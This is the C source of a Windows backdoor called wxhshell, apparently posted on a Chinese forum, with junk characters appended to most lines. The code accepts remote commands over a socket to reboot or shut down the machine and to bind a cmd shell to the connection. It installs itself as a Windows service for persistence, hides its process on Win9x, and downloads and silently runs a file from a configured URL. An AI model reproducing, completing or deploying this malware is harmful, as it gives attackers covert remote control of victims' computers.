    switch(cmd[0]) { yx V:!gl  
  &DqE{bBd!  
  // 帮助 dd2[yKC`  
  case '?': { Y|8v O  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \xg]oKbn  
    break; Y`+=p@2O2o  
  } Uax+dl   
  // 安装 '=][J_  
  case 'i': { ~['Kgh_;  
    if(Install()) /iG*)6*^k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pxn,Qw*  
    else sL E#q+W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kq\)MQ"/X  
    break; .CP& bJP%  
    } s  {^yj  
  // 卸载 +_-bJo2a  
  case 'r': { NvM*h%ChM  
    if(Uninstall()) .ROznCe}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v}WR+)uFQ  
    else :Hxv6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a^,(v  
    break; w[P4&?2:  
    } f#ri'&}c :  
  // 显示 wxhshell 所在路径 }kg ye2[  
  case 'p': { u!1{Vt87  
    char svExeFile[MAX_PATH]; M$f7sx  
    strcpy(svExeFile,"\n\r"); RN=` -*E1  
      strcat(svExeFile,ExeFile); R^{)D3  
        send(wsh,svExeFile,strlen(svExeFile),0); =4d (b ;  
    break; HF|oBX$_  
    } Spt ? >sm  
  // 重启 Y8flrM2CwG  
  case 'b': { J>d.dq>r  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5zON}"EC  
    if(Boot(REBOOT)) 8p[)MiC5W^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vh>Z,()>>@  
    else { 1CLL%\V  
    closesocket(wsh); 5nbEf9&  
    ExitThread(0); {Ay"bjZh  
    } P2 Vg4   
    break; 6(P M'@i  
    } 0'nikLaKy  
  // 关机 E 7-@&=]v  
  case 'd': { Ov<NsNX]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); OR[{PU=X  
    if(Boot(SHUTDOWN)) VK@!lJ u!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  Q1@A2+ c  
    else { QeF3qXI  
    closesocket(wsh); FVh U^  
    ExitThread(0); N&@}/wzZ  
    } gv5*!eI  
    break; U*.0XNKp{  
    } ||yzt!n  
  // 获取shell J90v!p-  
  case 's': { 7gRgOzWfV  
    CmdShell(wsh); `({T]@]V  
    closesocket(wsh); LR" 9D  
    ExitThread(0); K\|FQ^#UYm  
    break; Ar~"R4!  
  } H#ClIh?'b  
  // 退出 eYx Kp!f  
  case 'x': { tBpC: SG  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -_$$Te  
    CloseIt(wsh); =-p$jXVW%  
    break; I}R0q  
    } P;4w*((} ~  
  // 离开 37}D9:#5C  
  case 'q': { w3$   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); #c2ymQm  
    closesocket(wsh); R :B^  
    WSACleanup(); qe5feky  
    exit(1); `-LGU7~+  
    break; (Cq n6 dWK  
        } B7imV@<  
  } s&j-\bOic9  
  } ~Jf{4*>y  
k1Q ?'<`  
  // 提示信息 /hO1QT}xd  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); orb_"Qw  
} O$cHZs$  
  } ~K@'+5Pc  
.9.2Be  
  return; y|wc ,n%L>  
} XVU2T5s}  
kZ"BBJ6w  
// shell模块句柄 R LD`O9#j  
int CmdShell(SOCKET sock) B5$kHM%p  
{ itMg|%B%  
STARTUPINFO si; <F04GO\  
ZeroMemory(&si,sizeof(si)); kwsp9 0)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; JfPD}w  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; G}p\8Q}'  
PROCESS_INFORMATION ProcessInfo; 'F3)9&M  
char cmdline[]="cmd"; qgrg CJ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); = 9 T$Gr  
  return 0; 64 5z#_}C$  
} iTaWup  
J[&b`A@.o  
// 自身启动模式 ]kboG%Dl?9  
int StartFromService(void) I|Gp$ uq _  
{ aM;W$1h  
typedef struct ]LM-@G+Jz  
{ 7 x<i :x3  
  DWORD ExitStatus; jRatm.N  
  DWORD PebBaseAddress; bcupo:N  
  DWORD AffinityMask; ~zw]5|  
  DWORD BasePriority; 8,uB8C9  
  ULONG UniqueProcessId; TjG4`:*y#m  
  ULONG InheritedFromUniqueProcessId; Si~vDQ7"  
}   PROCESS_BASIC_INFORMATION; ~ar=PmYV7  
:<|<|qJWo  
PROCNTQSIP NtQueryInformationProcess; ` He,p -  
1x,tu}<u^  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +sJrllrE(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; zen*PeIrA^  
[ Fz`D/  
  HANDLE             hProcess; ZzX~&95G  
  PROCESS_BASIC_INFORMATION pbi; n?c]M  
&zo|Lfe  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Sf r&p>{,  
  if(NULL == hInst ) return 0; @/1w4'M  
iJ~Vl"|m  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); GQ-Rtn4v  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \7*`}&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); e zOj+vz  
@K!&qw  
  if (!NtQueryInformationProcess) return 0; !Ta>U^ 7  
CoA6  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8}(]]ayl  
  if(!hProcess) return 0; oqeSG.1  
:GJ &_YHf  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; & j+oJasI  
M8TSt\  
  CloseHandle(hProcess); -ne Kuj  
95V@X ^Ee  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Zcc9e 03  
if(hProcess==NULL) return 0; `Ry]y"K  
jkvgoxY  
HMODULE hMod; tzh1s i  
char procName[255]; nb>7UN.9  
unsigned long cbNeeded; ivz{L-  
{+@bZ}57  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9rA=pH%<>B  
1u9LdkhnY  
  CloseHandle(hProcess); p"U, G -_  
yR\btx|e5~  
if(strstr(procName,"services")) return 1; // 以服务启动 S1?-I_t+]  
2J;kSh1,L  
  return 0; // 注册表启动 M^]cM(swK5  
} J.| +ID+  
@|tL8?  
// 主模块 jt.3P  
int StartWxhshell(LPSTR lpCmdLine) PV=5UyjW  
{ Gmz6$^D   
  SOCKET wsl; ?pza G{  
BOOL val=TRUE; 5;{H&O9Q  
  int port=0; mtj h`  
  struct sockaddr_in door; FeTL&$O  
piZJJYv t  
  if(wscfg.ws_autoins) Install(); Zg.&V  
c[ ]4n  
port=atoi(lpCmdLine); QMpoa5ZQG  
3F<VH  
if(port<=0) port=wscfg.ws_port; @W9x$  
s4uhsJL V$  
  WSADATA data; k{Aj^O3gD  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; icgSe:Ci  
FJ6u.u  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   mOlI#5H  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ze]h..,]K  
  door.sin_family = AF_INET; yiA<,!;4P  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _:"<[ >9  
  door.sin_port = htons(port); Dv/WE>?Aw  
D N*t~Z3[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { eh5gjSqx  
closesocket(wsl); _Wa. JUbv  
return 1; (/j); oSK  
} W!&vul5  
yYH0v7vx+  
  if(listen(wsl,2) == INVALID_SOCKET) { |x-S&-  
closesocket(wsl); &HY+n) o  
return 1; E2{FK)qT  
} SE~[bT  
  Wxhshell(wsl); >lIk9|  
  WSACleanup(); [bk?!0]aV  
KFwzy U"  
return 0; Bb"Bg\le,^  
g'm+/pU)w)  
} w:<W.7y?0  
_}En/V_  
// 以NT服务方式启动 9^p;UA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4BKI-;v$  
{ _n` a`2C|m  
DWORD   status = 0; i|m3mcI%2  
  DWORD   specificError = 0xfffffff; 6ZQwBS0Y  
Q(oN/y3,  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;{" +g)u  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 81i655!Z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; L# 2+z@g  
  serviceStatus.dwWin32ExitCode     = 0; jE/AA!DC#  
  serviceStatus.dwServiceSpecificExitCode = 0; }-sdov<<  
  serviceStatus.dwCheckPoint       = 0; +qwjbA+  
  serviceStatus.dwWaitHint       = 0; L-k@-)98  
ynhmMy%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); V:c;-)(  
  if (hServiceStatusHandle==0) return; "PpN0Rr  
c. 2).Jt,  
status = GetLastError(); &@yo;kB  
  if (status!=NO_ERROR) *=*AAF  
{ k|H:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9c6gkt9eB  
    serviceStatus.dwCheckPoint       = 0; D'Y-6W3  
    serviceStatus.dwWaitHint       = 0; m-*hygkcDu  
    serviceStatus.dwWin32ExitCode     = status; ]f({`&K5  
    serviceStatus.dwServiceSpecificExitCode = specificError; ]&pds\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); M!XsJ<jN/  
    return; z=3\Ab  
  } -#HA"7XOE  
sH[ROm  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; u!W0P6   
  serviceStatus.dwCheckPoint       = 0; M%kO7>h8  
  serviceStatus.dwWaitHint       = 0; Oz%>/zw[h  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); X'qU*Eo  
} LpqO{#ZG  
ftF@Wq1f  
// 处理NT服务事件,比如:启动、停止 / :n#`o=;  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^*Yh@4\{JH  
{ ^kB8F"X  
switch(fdwControl) F ;2w1S^  
{ cj'}4(  
case SERVICE_CONTROL_STOP: ]n~ilS.rkl  
  serviceStatus.dwWin32ExitCode = 0; `I,,C,{C  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; n*{sTT  
  serviceStatus.dwCheckPoint   = 0; <t \H^H!  
  serviceStatus.dwWaitHint     = 0;  N#a$t&  
  { DRi<6Ob  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `,(,t n_  
  } ZGKu>yM  
  return; uW} s)j.  
case SERVICE_CONTROL_PAUSE: :dQ B R  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4k@5/5zsM  
  break; mh{1*T$fP  
case SERVICE_CONTROL_CONTINUE: PU^l.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; n74V|b6W  
  break; ='Y!+  
case SERVICE_CONTROL_INTERROGATE: zp%Cr.)$  
  break; TO?R({yx*  
}; "$N+"3I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Gf<'WQ[  
} ikv Wh<=>H  
qtQ6cq Ld  
// 标准应用程序主函数 l)&X$3?tz  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ''\O v  
{ Dw<bn<e-  
SX# e:_  
// 获取操作系统版本 `u teg=  
OsIsNt=GetOsVer(); R&BTA  
GetModuleFileName(NULL,ExeFile,MAX_PATH); L'0B$6  
OZ~5*v  
  // 从命令行安装 )6D,d5<  
  if(strpbrk(lpCmdLine,"iI")) Install(); :i. {  
Wg<(ms dj  
  // 下载执行文件 h_+dT  
if(wscfg.ws_downexe) { vRH d&0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) xk5@d6Y{r  
  WinExec(wscfg.ws_filenam,SW_HIDE); HV{wI1  
} m0;CH/D0  
7KAO+\)H^Y  
if(!OsIsNt) { uJC~LC N  
// 如果时win9x,隐藏进程并且设置为注册表启动 c_'OPJ  
HideProc(); }n3/vlW9  
StartWxhshell(lpCmdLine); <4g{ fT0  
} G(G{RAk>  
else ~5CBEIF(NS  
  if(StartFromService()) ZOeQ+j)|I  
  // 以服务方式启动 65 #'\+  
  StartServiceCtrlDispatcher(DispatchTable); )\J+Kiy)  
else W;!}#o|%s  
  // 普通方式启动 %R}.#,Suo  
  StartWxhshell(lpCmdLine); HoRg^Ai?\  
)quM4=u'  
return 0; A|X">,A  
}
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只看该作者 1 发表于: 2006-10-10
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